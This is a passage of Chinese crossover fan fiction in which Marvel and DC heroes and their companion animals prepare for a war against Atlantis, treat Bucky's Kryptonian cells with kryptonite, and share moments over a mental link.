伴生动物的特性和它们的孵化者基本对应，就像是超人的伴生斯诺拥有超级速度和力量，能飞行，也能和超人一起飞向宇宙。 绿巨人的伴生必然拥有能够陪伴他，不会被他轻易误伤的强度。 坚不可摧，抗辐射，情绪稳定这些基础能力鸮鹦鹉全部具备，除了这些之外，白葵还观察到，鸮鹦鹉具备某种其他伴生从未表现出的特殊性。 因为这种特性，人类才决定将鸮鹦鹉交给闪电鼠，让闪电鼠带它到这边来，同时需要白葵陪伴在身侧。 “我的能量罩可以隔离辐射哦。” 白葵神神秘秘的说。 小红一愣。 辐射？ “它有辐射？” “它能表现出一种辐射，好像跟它吃进去的东西有关，理论上它能控制何时放出辐射，但人类还是认为我也在场比较好，所以就安排我跟着一起过来了。” 白葵昂着脑袋，嘚瑟的像个救世主。 “而那些人类最后给它吃的东西是……” 白葵神神秘秘。 小红却已经想明白“医疗用品”的意思了。 “是绿氪石。” 是可以杀死氪星细胞的东西。【你现在阅读的是魔蝎小说 moxiexs】 80-90 第81章 绿氪石有了。 可现在只有无辜的卡尔·艾尔先生, 而没有需要治疗的巴恩斯先生。 “多纳滋？” “帕夫？” 多纳滋和帕夫正在某个临海的城市里，这里的居民已经向内陆转移完毕，如今还在城市里的全部都是军人和超能力者。 也就是这个世界的英雄们。 多纳滋和帕夫站在一处悬崖边,它们前方是汹涌翻滚的海面,旁边站着美国队长史蒂夫·罗杰斯,在他们后方更高的位置,巴基悬浮着,仿佛是天生便该在空中悬浮的非自然生物,冷漠的神情让他看起来像一只神鸟,正看着人间纷争，不理解,也不想参与。 可惜他是人类。 而他也愿意为这片土地而战。 帕夫昂头看向天空。 就在刚才, 多纳滋让小红在小动物和人类都在的频道里重复了它们的发现——已经找到可以治疗巴基的东西了。 但帕夫很清楚, 巴基不会接受的。 那东西会杀死氪星细胞，就等于会消除巴基的超能力，在大陆与海洋的战争中,失去超能力的巴基和现在的巴基所能做的事情完全不同。 若是不杀死氪星细胞，巴基的生命所剩不多，大概也就数年吧。 更麻烦的是，如果使用超能力，更多的接触黄太阳，那些氪星细胞就会越来越活跃，对巴基的身体造成巨大负担, 进一步缩短他的寿命。 现在帕夫就担心一件事：万一缩短的寿命太多，巴基无法活到战争结束,那该怎么办？ 史蒂夫又该怎么办？ 对此多纳滋似乎接受良好。 不是每个人都有幸选择自己要在合适时间走下生命的列车，也不是谁都能在最后, 依然与自己的亲朋好友并肩作战。 “汪。”你不应该替巴恩斯定义他的幸福。 多纳滋对帕夫说。 帕夫选择沉默。 它不知道自己应该说些什么，索性什么都不说。 也许是多纳滋的叫声吸引了人类的注意，史蒂夫走过来，揉了揉多纳滋的脑袋，然后招呼巴基回神，他们一起返回临时基地，为后续的战斗做准备。 多纳滋驮着帕夫也在往回走。 在治疗问题上，它们和人类不约而同的选择不去讨论，史蒂夫也没有问过巴基的想法，两人默契的不再提起这件事情，帕夫也一如既往的保持着缄默。 它的沉默不是因为遭遇不测或者发生了麻烦事情，只是单纯的沉默而已。 因为有太多事情想不明白，太多的问题无法解决，帕夫变得沉默寡言，也只有和它心有灵犀的多纳滋偶尔可以像是感知到什么那样，在无意间猜到它的想法，这时候金毛会试图帮帕夫开解一二，可惜无论多纳滋如何努力，最终收效依然甚微。 帕夫还是沉浸在自己的思绪中，思考着那些复杂的，应该属于人类的问题。 “多纳滋很像你。” 远远的看着那只金毛和金丝熊，巴基对史蒂夫说。 他们正准备去吃饭，史蒂夫走在前面，此时回头看他，然后也看向小动物的方向。 “帕夫也挺像你的。” “我有那么多愁善感吗？” 面对巴基半开玩笑似的问题，史蒂夫回答的很认真：“它很擅长独自消化那些伤痛。” 严格来说，帕夫的内心并不存在伤痛，更多的是迷茫，史蒂夫这句话明显是说给巴基听的，他口中的“它”其实是巴基，只是巴基总是拒绝正面谈论那些，渐渐地史蒂夫也学会了旁敲侧击的去聊这些。 他们确实可以选择不去聊那些事情。 但这是心理治疗的必经之路，他总不能放任巴基拖着残破的自我一路向前。 更何况，史蒂夫还有别的目的。 他与多纳滋对视。 现在是吃饭的时间，许多人从岗位上暂时离开，去往食堂，人潮从史蒂夫与多纳滋之间涌过，在这些繁杂的纷扰中，他们的目光依然能锁定对方。 多纳滋也明白了史蒂夫的想法。 他是打算尽量劝说巴基尽早接受治疗，而不是最大限度保持战斗力，可若是巴基无论如何都坚持如今的决定，他也不会强行干预。 史蒂夫的选择在多纳滋的意料之内，让多纳滋感到意外的是，做这样的决定本身，对史蒂夫来说，并不困难。 人类没有表现出痛苦、挣扎之类的情绪。 从一开始，他的心就已经释然。 史蒂夫尊重巴基的决定，并且完全接受它，至于事后是否会因为失去同伴而痛苦内疚，那都是之后的事情了。 他不会在此时做出任何表现，也不会让自己成为巴基的心理负担。 多纳滋在内心叹了口气。 接近天亮的时候，多纳滋路过巴基的宿舍门口，狗爪踏在地上的动静吸引了拥有超级听力，并且因为是战斗状态，哪怕在睡眠中也依然高度警惕的巴基。 小心开门查看的巴基看到了对着自己晃尾巴的金毛犬。 狗在前面引路，巴基无声的跟在后面，走路比多纳滋安静多了，像只巨大的猫科生物。 多纳滋和巴基回到悬崖附近。 现在是黎明之前，也是夜色最深沉的时候。 多纳滋和巴基一起看着太阳将会升起的位置，短暂的发呆之后，多纳滋转头走到巴基脚边，用爪子轻轻扒拉他的裤脚。 巴基将一台配了键盘的平板电脑放在多纳滋脚边。 这样他们就能进行沟通，也不必使用馍馍或者薇薇的精神链接。 多纳滋在平板上敲出简单的单词。 【去治疗。 】 【相信你的同伴，他们能赢下这场战争。 】 【你应该先去打赢自己的战争。 】 …… ………… 托尼从沙发上翻了起来。 “嗯？什么？” 他在大脑内听到小动物们说话，还有些反应不过来，那个老冰棍巴恩斯怎么突然就同意进行治疗了？ 算了，那不重要。 现在最重要的事情是必须在这家伙反悔之前尽快把治疗落实到位。 托尼快速穿好外套，一把抱起鸮鹦鹉，就往车库跑。 其他小动物们就在后面追他。 馍馍和薇薇跑不快，在沙发上干瞪眼，好在卡尔还记得它们，一手一只抱起来，随后直接升空，跟在托尼的跑车后面。 托尼用力的踩着油门，为事情终于有了进展而感到庆幸，同时又免不了担忧——斯塔克夫妇依然没有消息。 不过斯塔克夫妇所处的位置位于战线后方，在前线的史蒂夫和巴基都没事，他们自然不会有事，现在联系不上，多半是因为官方的保密措施。 此时的前线军事基地内部，已经准备好专门的房间，巴基坐在中央的医疗床上，那架势不像是要治疗，反而更像是要给他上刑。 “至于吗？”托尼嘀嘀咕咕。 “嘎。至于，”白葵嘎嘎叫着告诉托尼，“氪石有放射物质，对人体不好，长期接触脑袋会变得光溜溜的，会变成秃头哦。” 它语气神神秘秘，仿佛在讲一个恐怖故事。 关于秃头的恐怖故事？ 托尼摸了摸自己的脑袋顶，然后试着想象一下自己秃头的样子。 ……嗯。 确实是个恐怖故事。 绿氪石的放射线是个问题，根据小动物的描述，少量接触是没事的，托尼问它们具体数据，它们又说不上来，只是大概描述一下？好像每次就拿出来几秒？几分钟？ 这个也许布莱克比较清楚，其他小动物就不太了解了，就连小红脑子里也没存具体数据。 所以为了以防万一，人类按照小红的要求，迅速准备好涂上铅层的安全屋，专门供巴基治疗时使用。 跟着托尼一同前来的卡尔在看到那间屋子的时候明显愣了一下。 他肩膀上的极乐鸟支棱起一根飞羽，抵在鸟喙上，十分人性化的比了一个“嘘”的手势。 你的弱点，不要告诉任何人。 现在这个世界的人类只知道有一种特殊治疗方法能杀死离体后的外星人细胞，其主要构成是一种叫做“氪石”的东西，却完全不知道那到底是什么。 毕竟他们看到的是一只憨憨的鸮鹦鹉，而不是一块石头。 铅层看起来则更像是单纯防辐射的，没人会把它与卡尔的眼睛联系到一起。 卡尔对极乐鸟略微颔首，表示自己明白。 它们早就知道他看不见铅层之后的东西，而从今天开始，这就是卡尔和这些小动物彼此间共同的秘密了。 卡尔忍不住想。 在这些小动物的世界里，自己是什么样子的？ 据说是在普通的家庭中长大，有很爱自己的养父母，有一个农场，一只氪星犬和很多拥有相同理想的同伴。 在其他人都因为即将开始的治疗而忙碌的时候，卡尔带着小红和极乐鸟呆在角落里，安静的围观那些表现得无比紧张的人，看他们目送白葵、鸮鹦鹉和闪电鼠进入那间涂上铅层的特殊治疗室。 “告诉我那些事情，真的没关系吗？”卡尔看着那个方向，忍不住问，“你们把那个宇宙的事情告诉我，不怕我嫉妒他？” 嫉妒那个超人。 也越发的憎恨这个世界。 因为卡尔知道，这些小动物相信他，也不过是因为他是那个超人的同位体，是这个宇宙中和超人站在相同命运点位上的人。 而不是因为卡尔自己。 这让卡尔感到愤怒、焦虑和其他许多负面情绪。 他也知道这情况很不好，可这实在是……难以控制。 “嫉妒源自于自信缺乏，和需求过剩。” 馍馍张开眼睛，看向卡尔的方向。 啊…… 食物的味道。 第82章 “你可以去吃别人的, 这里不缺负面情绪。” “……不是谁的负面情绪我都稀罕去吃。”食梦貘捂着脑袋上被极乐鸟蹬出来的包，十分无辜的说，“而且没有负面情绪不好吗？” “他在实验室里长大,没有经历过正常的生活和童年,现在心智上只是看似成熟,却根本没有那个成长过程, ”极乐鸟气鼓鼓的,一边运气一边跟馍馍说, “现在的情绪正是他成长必须的过程,你把它们吃掉了，那他还怎么长大？” 极乐鸟的想法, 小红也是赞同的。 仔细想想, 面对绯红女巫的时候, 不也是如此吗？ 正是因为所有负面情绪都被馍馍吃掉，旺达才无法学会负担那份疼痛，也无法跨过那次伤痛往前走。 幻视没死当然是最好的, 可若是幻视最后没能活过来呢？到时候旺达如何承受这份打击？ 馍馍这样吃啊吃啊的，肯定不是长久之计。 太简单粗暴了。 人的成长需要环境和机遇，压力要一点一点的给，时间也要一点一点的给，先让对方有适应的机会，然后再…… 小红一愣，反应过来后猛地用鸟翅抱头。 啊啊啊啊啊——！ ！ ！ 我的脑子！ 它怎么变成老蝙蝠的模样了？ ！ ！ ！ 小红内心崩溃, 小红脑内尖叫，小红神志不清的飞走了。 极乐鸟在旁边看着,忍不住唧唧啾啾的笑出声来。 卡尔则没懂其中的关键，有些莫名其妙。 这里是军事基地, 来往都是人，小动物们的精神链接中也有其他人，卡尔心中还有很多问题，却也已经能明白现在不是合适的时机。 他只是用手指蹭了蹭极乐鸟的脸颊，“我们到处逛逛？” “啾啾~”好的哦~ 就算留在这里也帮不上忙，还不如到处转转呢。 只是对卡尔来说这个基地也没什么好转的，他带着极乐鸟飞去海边，悬浮在高空，清晨的太阳还透着丝凉意，云层上面的温度更低，卡尔却能感觉到能量正在充满身体，这让他非常确定，他就是属于高空的。 在云层的遮蔽下，卡尔低头看着海洋，以及海洋深处。 “叽啾？”能看见吗？ 极乐鸟好奇的问。 卡尔听不懂，但他可以猜测，在通过仔细观察，包括对心跳和微表情进行辨认，以此来判断自己的回答能否对上极乐鸟的问题。 极乐鸟乐此不彼，它喜欢玩这样的猜谜游戏。 而卡尔也觉得十分有趣。 不是理所应当的了解某个生物，而是这逐渐了解对方，认知到对方思想的过程，居然让卡尔感到愉快和满足。 他本就是乐于学习的，而且学的很快，只是之前被九头蛇关着，没有机会学东西。 “你也在看下面吗？”卡尔首先提出第一个猜测。 极乐鸟的动态没有多少变化，至少这个问题没有偏离话题，但也没有命中真相，于是卡尔继续猜测。 “你想看下面的情况吗？” 这次极乐鸟多了点反应，还歪着脑袋看向卡尔，鸟喙里发出唧唧啾啾的快乐叫声。 “不太可能带你下去……”卡尔想着，而且极乐鸟没那么任性，那么……卡尔试探着提出新的想法，“你想知道我看到了什么？” “啾啾！”答对了！ 极乐鸟的叫声越发快乐。 卡尔用指腹蹭着它毛绒绒的脸颊。 “距离海岸线还很远的地方，他们在聚集，他们在……准备决战，水下更深处还有巨兽潜伏在海沙之下。” “开战的时候，我负责这只？” “还有电子人他们呢。”极乐鸟唧唧啾啾。 这个世界的超级英雄已经所剩无几，却也不至于让卡尔初战就去面对可怕的未知巨兽。 卡尔没有接话，只是盯着海岸下面看。 他继续将视线放远，看到那些人，包括海王亚瑟，卡尔已经知道了亚瑟这个半陆地半海底人，在另一个宇宙中，亚瑟与自己的同位体并肩作战。 而现在，他们是敌人。 这挺有趣的，其中有种扭曲的宿命感。 而卡尔无法感觉到那个，大概是因为小动物口中的故事总是美好而感人，这就让卡尔有种奇怪的感觉，仿佛另一个宇宙的事情更接近童话故事，而非真实存在。 卡尔只知道面前这个海王，能看到对方。 他的超级听力让他隔着很远的距离也能听到对方说的话，可惜海水对声音的影响太大，让卡尔有些听不清楚，而且海王也只是偶尔自言自语的时候会说美语，平时说的都是亚特兰蒂斯语，卡尔完全听不懂。 “他的本意不想打仗，但仇恨的种子已经种下。”卡尔描述了自己能听懂的那部分。 “叽啾。”别担心。 极乐鸟蹭了蹭卡尔的颈窝。 这时卡尔注意到了什么，转头向后，远远的看到托尼和史蒂夫谈论着什么同时往这边走过来，卡尔能听到那两人的对话，他告诉极乐鸟。 “他们来问巴恩斯先生的事情，好像因为治疗时间比预计的更长。” “啾？”极乐鸟秒懂。 不久之前史蒂夫和托尼已经试着在精神链接中询问屋内的情况，但没有得到任何回应，无论是小动物还是巴恩斯都没有动静。 大概是担心里面正在紧要关头，他们不再使用精神链接，而是决定来找卡尔，让卡尔帮忙看一下里面的情况。 但因为铅层，卡尔也看不见。 想要避免卡尔无法透视铅层的弱点被人发现，这一波需要小动物们的配合。 馍馍单独给白葵、闪电鼠、鸮鹦鹉、巴基和卡尔拉了个小群。 似乎是白葵和鸮鹦鹉都在忙，在卡尔问他们是否安好，里面都发生了什么的时候，只有闪电鼠回应了卡尔。 “这里、嗯……还要一段时间，可能还要很长一段时间，氪石不是直接杀死氪星细胞，而是无限弱化它们，将已经激活的超能力无效化，同时还会带来疼痛和其他负面效果，再加上辐射问题，鸮鹦鹉也不能一口气将辐射量调到最大。” 闪电鼠向他们说明现在的情况。 “所以就只能慢慢来，而且，那些细胞已经入侵到一些不太好的位置，所以我们必须更慢、更慢一点。” 说着，闪电鼠努力举高短短的前爪，在面前慢慢画着大大的圈。 卡尔大概听懂了。 他该怎么选？ 卡尔下意识的又去揉极乐鸟毛茸茸的脸颊。 极乐鸟侧着头贴上去，给他揉。 “你怎么想的？”卡尔问极乐鸟。 极乐鸟只是发出没有意义的啾鸣声，听起来十分放松，脑子完全没在思考。 卡尔能明白它的意思，这孩子希望卡尔能自己思考，而不是向其他人寻求答案，虽然卡尔接触外界还没多久，可作为一名拥有了超级思维的氪星人，短短几天时间也足够卡尔成长到需要学会自己做决定的年纪了。 一段沉默后，卡尔问：“我该告诉他们吗？” 他问的是巴基。 万一治疗要很久，巴基可能会错过决战，也许巴基会选择假装自己治好了，这样才能在决战场上和史蒂夫并肩作战。 如果是那样的话，卡尔就要帮着撒谎，至少不能将事情说得这么严重，在那样做之前，他要先同巴基确认这件事情。 巴基是怎么想的？卡尔想知道这个。 “告诉他们。”巴基说。 听起来他似乎很累，疲惫缠绕着他，看来治疗给他的身体带去很大的压力。 “为什么？”卡尔又问。 “什么为什么？” “我以为你会想……” “我答应了史蒂夫，所以我会做到的。” 巴基的声音透着过分的冷静，让人感觉自己像是在面对一架冰冷的机器，也许他的感性和人性都给他指了另一条路，可巴基依然选择坚守承诺。 “做了承诺就一定要遵守吗？” “如果你是个孩子，我会告诉你，是的，不然你做它干嘛呢？但你是个成年人，所以我只能说：不，不是。” “但，若你在乎那个人，这承诺就必将牢不可破。” 巴基无比肯定的说道。 这话让卡尔陷入沉思之中，直到史蒂夫和托尼走到他的下方，昂头喊他，卡尔才缓缓落到他们面前站定。 依然没有完全回神的卡尔根据巴基的要求将治疗情况如实告知。 托尼越想越不对劲，问：“听你的描述，他的情况不算差的，那为什么不亲自回应我们？他现在不能用精神链接同我们说话吗？” 卡尔哪里知道。 事实证明无论是巴基还是那三只小动物，他们都能用精神链接和外面的人沟通，只是为什么没有回应史蒂夫和托尼，卡尔也不清楚其中的缘由。 他只能摇头。 史蒂夫似乎明白了什么，了然道：“那就这样吧，知道他没事就行。” 在同卡尔点头致谢后，史蒂夫拍了拍托尼的肩膀，示意托尼跟自己离开。 两人一起往回走。 “这不奇怪吗？”回去的路上托尼忍不住问。 史蒂夫：“也许是有什么话想说吧。” 这回答神神叨叨的，托尼没听懂。 利用超级听力旁听的卡尔却明白了。 巴基是想借着这件事情将那句话说给自己听。 ——如果你认为一个人很重要，那么承诺就很重要。 第83章 巴基的治疗周期加上后续复健, 总时长预估为15天。 大战暂时还没开始。 闲来无事，塔塔扒拉着馍馍的肚皮，两只小动物靠在一起,锈斑猫也过来凑热闹,它们聊起交汇前的事情,锈斑猫问：“哈瑞肯它们怎么样了？” 那时候哈瑞肯和其他复仇者前往林中小屋保护馍馍,现在馍馍也被交汇过来,算是摆脱了追兵,其他人现在是什么情况？ 馍馍侧躺着,身上趴着塔塔，耳朵一抖一抖的,应付着模拟捕猎的锈斑猫。 “哈瑞肯？” “就是一只红色的鸟, 红隼。” “啊, 那家伙。” 馍馍恍然大悟，昂起头来回忆。 “来了超多超多的敌人，但他们打赢了哦。” 说起那时候的事情,馍馍略有些兴奋。 钢铁侠的火炮放出绚丽烟花，娜塔莎开车，鹰眼和巴基坐在后座，鹰眼拉弓狙击追击的车辆和天空的直升机，巴基用的是枪，当后车过于逼近时，美队直接从他们的车上跳到后方车头,两盾给他砸成废铁，随后留在原地,一夫当关万夫莫开。 他们的车在中途损坏，巴恩斯靠着金属铁臂和一把匕首近战搏击。 白刃在巴恩斯手上, 像一只银色的致命蝴蝶。 黑寡妇将它的毒液喷在特制的稀释剂中，哈瑞肯用爪子抓着瓶子飞出去，悬停在高处操控飓风卷起，同时收紧爪子。 瓶子是特制的，感觉到额外的压力就会分多次向正前方均匀喷出瓶中的液体。 这些细密的水珠在暴风中分散开，直接让一大片敌人陷入麻痹。 “黑寡妇超帅的！”馍馍超喜欢黑寡妇的！ 小姐姐又帅又飒！ “钢铁侠，也就是你的孵化者，还从他们的设备上查到了他们的计划，似乎是因为我的能力被他们注意到了，他们觉得我值得，所以倾尽全力的来抓我。” 那个规模，若是只靠精神不佳的旺达，和基本等于半死的幻视，根本无法抵挡。 只要找到机会阻隔馍馍对旺达精神的保护，等旺达陷入疯狂，九头蛇想要带走馍馍，是再简单不过的事情。 可惜幻视的自我已经被锈斑猫和塔塔唤回，这就意味着旺达的精神趋于稳定，能好好控制自己能量的旺达简直就是不可理喻的怪物，如同古神降临，九头蛇中虽然也有心灵能力者和各类变种人，可他们别说靠近旺达和幻视，就算是躲在安全地带，只敢偷偷影响旺达心神的心灵能力者，都被旺达隔着十万八千里撕成了两半。 若是只有这样，也许他们还有一丁点的机会，毕竟幻视刚刚恢复，旺达的精力依然是有限的，只要他们愿意提供充足的牺牲，完全可以耗到旺达精力不足，无法继续作战为止。 可更无奈的是，他们挑选的合作者，是万磁王。 然后万磁王看着年轻的查尔斯在清晨慢跑的背影，选择跳反。 于是，提早知道消息的复仇者前来支援，在旺达拖住敌人的时候带着馍馍迅速离开。 说到这个，馍馍咯咯笑了起来，对锈斑猫说。 “你的孵化者说，万磁王又叫跳反王哦。” 锈斑猫：“挺……形象的。” 好怪…… 但……托尼说的都对！ 锈斑猫快乐的打滚，无意识的就近在地毯上蹭脸，上味的同时想念自己的孵化者，虚空表达爱意。 它的小爱心在精神链接中铺开，所有人和动物都感觉到了。 黏黏糊糊，黏黏糊糊。 其他小动物都被它黏糊到了，纷纷退散，人类则是觉得非常有趣。 “所以，它们来自另一个平行，而它是……我的崽？”托尼看似漫不经心的把玩着手机，仿佛很不在意的问。 史蒂夫就在他身旁，看他这样有些哭笑不得。 他是来劝托尼尽快返回斯塔克庄园的，但托尼用“去了我就离家出走，现在能管住我的人没空，有空的人管不住我，你是让我在这里老实呆着说不定还能帮忙，还是放我回去胡作非为转眼失踪？”说服了史蒂夫放弃继续劝说的念头。 与其让托尼回去，再进行什么没有人知道的行动计划，确实是留在他们身边更安全一些。 就算是前线基地也有给后勤人员呆的地方，如果他们能赢，托尼也能安全，如果前线崩塌，那么躲在城市里，也不过是晚一点死掉而已。 对他们这一类人来说，两种情况唯一的区别，就是后者死的更加憋屈。 “它的孵化者是另一个平行的你，托尼。” 史蒂夫笑着摇了摇头。 “也就是我。”托尼哼了声。 现在那个托尼·斯塔克又不在，锈斑猫自然就是他的猫，而且既然他的母亲玛利亚可以孵化出薮猫，就意味着这个世界的人也有概率孵化出属于自己的伴生动物。 这一瞬间，托尼想了很多。 如果他自己也能孵化出一只小猫，那他是不是就可以名正言顺的左拥右抱了？ ！ 这简直就是天堂好嘛！ 托尼美滋滋的想象也顺着精神链接蔓延出去，两种思维隔着馍馍和薇薇构架的庞大网络互相贴贴，彼此磨磨蹭蹭。 把其他小动物和人集体干沉默了。 “给他们……单独开个群。” 遥远的地方，传来了霍华德的声音，那声音飘忽不定，大概是因为距离太远吧，像是蒙在皮鼓里似的。 “那边怎么样了？”史蒂夫立刻问。 “那只大猫不在了？”这问题是薇薇和馍馍提的。 “还算顺利。嗯？大猫？是说布莱克吗？他跟蝙蝠侠离开了。” 之前联系不到就是因为距离太远，连接本来就不太稳定，加上布莱克那家伙的屏蔽，就算馍馍和薇薇一起上，也难以将霍华德和玛利亚纳入心灵链接的网络。 那只布莱克真是太讨厌了。 馍馍和薇薇对此表达出一致的嫌弃。 也许是因为听到霍华德的声音，托尼不自在的挠挠脖子，看向史蒂夫，这一两天的相处下来，史蒂夫已经比较了解这个可以被自己称作侄子的年轻人了，知道对方是对霍华德还存有些许的心结，明明很关心父母的情况，却难以开口询问。 于是史蒂夫替他开口。 “一切顺利吗？”史蒂夫问。 “不算，但总算是完成了，蝙蝠侠带来的小丑女挺狠的，最不配合的被做掉了，那画面还挺惨，另外一些人为了不在末日前被杀掉，算是向我们投诚，以获得联盟的庇护。” 霍华德简单说了一下这边的情况。 以及他们建立了一个超级英雄联盟的事情。 官方军队和非官方人员想要协调作战非常困难，因此，他们搞大联合，控制核弹的同时，也将那些非官方人士联合在一起，方便统一的管理调配。 当然了，蝙蝠侠那类家伙并不在其中。 考虑到有些人的性格就是更适合独狼行动，是否参与联盟本身设定成非强制，大家可以随意加入，随意离开，但在联盟内就必须服从调配，不能找人没人，或者接下任务后又转头不见踪影。 一个称号为电子人的超级英雄成为了联盟的临时主席。 实际上最初被推荐的是蝙蝠侠，因为他是最年长的，被拒绝了，另一个被提出来的候选则是美国队长，但考虑到美国队长属于官方军队，他们只能排除这个选项。 “我还是推荐你。”霍华德说，“比起继续呆在军方，说不定那里更适合你。” 这时候，史蒂夫意识到霍华德的声音听着奇怪可能不是因为双方之间距离太远的缘故，这家伙好像喝多了，可能是喝了一些庆功酒之类的，说话的调子都飘的厉害。 谁当主席根本不重要，他们又不是要收编那些人，联盟的目的是为了更好的调配资源，而并非驱使他人，只要是大多数人都愿意信服的人，就适合那个位置。 史蒂夫更不可能去联盟那边，那些人本来就不喜欢官方，史蒂夫留在这边，双方才能顺利对接，否则联盟的人根本做不到相信官方，又何谈正式合作共赴战场？ “那不重要，将精力集中在任务上，霍华德。” 听到史蒂夫的提醒，霍华德“哦”了一声，还嘟囔着什么动静，那种感觉太含糊了，就算在精神链接中也无法听清楚。 “你在开车吗？”史蒂夫无奈的问。 “没啊，玛利亚在开车。” 很快，头晕脑胀的霍华德摇头晃脑，那种晃晃悠悠的感觉顺着精神链接弥漫开，让所有人和小动物都有了一种微妙的眩晕感。 人类知道这是醉酒状态，无论是史蒂夫、巴基还是托尼都很熟悉这种感觉，托尼熟练的稳定住身体寻找平衡，史蒂夫和巴基甚至还有些怀念这种恍惚的体验，在获得血清强化后他们已经很久没有这种感觉了。 但…… 小动物们完全不懂这些。 一时之间，大家都有些懵。 白葵晕头转向，一脑袋砸在地板上，乓乓敲地，正在接受治疗的巴基伸手将它捞起来，它也没反应过来，就乓乓砸巴基的金属手臂。 鸮鹦鹉闭着眼睛，像是在犯困。 小红脚滑从卡尔肩膀上滚落，却没想起来要张开翅膀，幸好卡尔及时接住它，这才成功避免一场悲剧。 塔塔则是脚下一滑，直接来了个原地翻肚皮。 始终看护在塔塔身边的薮猫瞬间脑门上蹦出一根青筋。 薮猫：“给他关小黑屋。” 薮猫面无表情，声音毫无起伏的吩咐薇薇和馍馍。 薇薇：“好、好的。” 馍馍：乖巧.JPG 第84章 “他们正在回来的路上。”薇薇告诉其他人, “应该，很快就能到这边。” 它比划着那个距离，试着描述。 不是很远, 托尼在心中计算, 保守估计, 再过大约两、三个小时他的父母就能到达这处位于战线前方的基地。 玛利亚开车会稍微慢一些, 但更稳定, 更安全。 托尼想着,也就今晚吧,他们俩就能到。 就在托尼思考的时候，史蒂夫收到一套联络设备。 这是一套全新的讯系统, 安全便捷迅速可靠, 仅供联盟和官方军队的高层使用, 方便彼此间进行联络，明文规定上的联络人不是史蒂夫，不过霍华德猜对了, 那些人更愿意和美国队长沟通。 史蒂夫进行简单的测试，通讯器对面和他对接的人是电子人。 “蝙蝠侠会过来吗？”史蒂夫问。 通讯器那边沉默了一段时间。 “没人知道。”电子人告诉史蒂夫，“不过，我认为他会来的。” 薇薇翻着肚皮，当它在这个姿势下努力昂起头，鸭嘴就会反向顶在地上，将它的一双眼睛完全盖住,显得毛茸茸的鸭嘴兽额外呆萌。 “还是，不行……” 薇薇在戳布莱克。 戳啊戳。 但屏障依然将它隔离在外。 薇薇闹心的翻着肚皮,扁平的尾巴一晃一晃的，现在所有的小动物都在网络内,唯独布莱克是个例外，这让薇薇有些犯强迫症。 “鸭嘴兽还会有强迫症吗？” 托尼沿着网络感觉到了薇薇的情绪，走上前来一把抱起鸭嘴兽。 “鸭嘴兽，没有。”被举高高的薇薇低头看着人类，尾巴猫那样左右摆动，“我在模拟，人类。” 托尼好奇的左右看看，“尾巴呢？” “猫。” 说着，鸭嘴兽还试图勾起自己扁平的尾巴，来模拟猫猫好奇的姿态。 然后是超级不耐烦的左右甩动。 可惜鸭嘴兽尾巴短，抽不到人类的手臂。 “你还能模拟什么？”托尼问。 “所有。”薇薇是这么说的。 “所有？”托尼略微一顿，似乎有些疑惑，“你的意思是，所有活物？”托尼试着同薇薇确认这一点。 鸭嘴兽只是看着他。 圆润的黑色眼珠子透着皎洁神秘的光。 “所有。”薇薇再次重复到。 “……” 托尼看着它，不知道自己该不该再确认一遍。 所有？ 这到底是什么概念？ 难道，除了能看见的物质以外，那些无法被人类肉眼捕获的物质也包括在内？ 空气、射线？ “你能模拟某种元素吗？” 薇薇歪头，似乎没有听懂。 “比如氧。” 鸭嘴兽摇头。 这让托尼大松一口气，然后随意指了一个沙发，“那么……沙发呢？比如那个。” 这次鸭嘴兽点了头。 随后，这个生命体在托尼手中开始了崩塌。 也许是觉得之前拟态人类时候选择的变化方式过于单纯，有些无聊了吧，这次，薇薇决定来些更有创意的做法。 它将自己变成很大的一滩。 鸭嘴兽就这么在托尼眼前失去自身的形态，每一丝异常的碎末都在稳定而微弱的起伏，仿佛它依然在那里呼吸似的。 托尼被吓了一跳，本能的往后退了好几步。 这一退，他来到史蒂夫身旁，史蒂夫下意识的将他拉到自己身后。 那些薇薇就在他们眼前重新组合。 塔塔也被吓到了，它本就不善攀爬，一着急也上不去沙发，干脆爬到馍馍身上蹲着，食梦貘一动不动，倒是不怕薇薇，只是被塔塔的重量压扁，它想动也动不了。 “你该、你该减肥了！”馍馍抗议。 塔塔没顾上馍馍在说什么，眼珠子直勾勾的盯着地上蠕动的薇薇……们？ 它打了个寒颤，默默看着那些东西分成两股，从史蒂夫和托尼的左右两侧绕行，又在人类身后重新并成一大团。 它、它这是在做什么？ ？ ？ 塔塔全只獭都傻了，不自觉的蜷缩起来，身体失去平衡，从食梦貘的背后滚下去，一屁股坐在地上。 锈斑猫立刻来到塔塔身旁，它和薮猫刚从屋外钻进来，面对这样一幅场面，锈斑猫也不由自主的炸起背毛，仿佛一只进入攻击状态的剑背龙。 薮猫则相对冷静，它盯着那个位置，姿态看着像是警觉的哨兵。 接着，薇薇们开始聚拢。 那些柔软的略有些颗粒质感的东西互相簇拥着，开始重新彼此组合，先是骨架、造型，然后调整细节，同时更改那些色彩问题。 薇薇在那果冻似的一颤一颤，来调整自己的材料质感。 “要、坐一下，试试看？吗？” 单人沙发发出了属于薇薇的声音，而它看起来，和边上那个，没有任何区别。 托尼大脑停止运转。 史蒂夫在这方面直接一些，他瞬间意识到什么，那种带着些许恶趣味的可以称得上是愉悦的感觉正顺着精神链接蔓延。 只是现在大家都被薇薇吓到，这才没有在第一时间发觉那种情绪。 这孩子，居然在故意恐吓他们，并因此而感到愉悦。 反应过来的史蒂夫走过去，托尼拉住他的手臂，反而被史蒂夫轻轻拍了拍上臂，在史蒂夫的安慰下，年轻人冷静下来，和史蒂夫一起上前查看。 视觉效果上，两个沙发没有任何区别。 史蒂夫摸了一下，触感也是完美的。 “完美的拟态。”史蒂夫评价道。 见他完全不怕的样子，薇薇发出略带抱怨的咕哝声。 托尼也稳定下来，又开始生出好奇心，他压了压沙发的坐垫位置，问：“如果将这里跟你鸭嘴兽的模样对应的话，是什么部位？” 薇薇想了想，“肚皮？” 托尼立刻收回手。 史蒂夫也跟着略显尴尬的咳嗽出声。 薇薇拟态人类的时候是女孩的模样，这乱摸就不太好了，虽然本质上薇薇只是一只鸭嘴兽，可人类复杂的大脑一旦完成带入就难以摆脱思维惯性，在知道薇薇有人类模样后就很难将它视作单纯的小动物。 “人，抽象。” 对此，薇薇只能这么评价。 明知道对方不是人类，但只要使用人类的模样、声音再用湿漉漉的眼睛表达出自身的弱小和无害，就有很大的可能性得到人类的偏爱。 “这也是强大的一种证明吧。”极乐鸟的声音从精神链接中传来。 因为强大，所以敢于探索，对其他生物和未知领域都充满了好奇，强大也意味着人类拥有更多的容错成本，才能自然而然的向其他生物释放更多的善意。 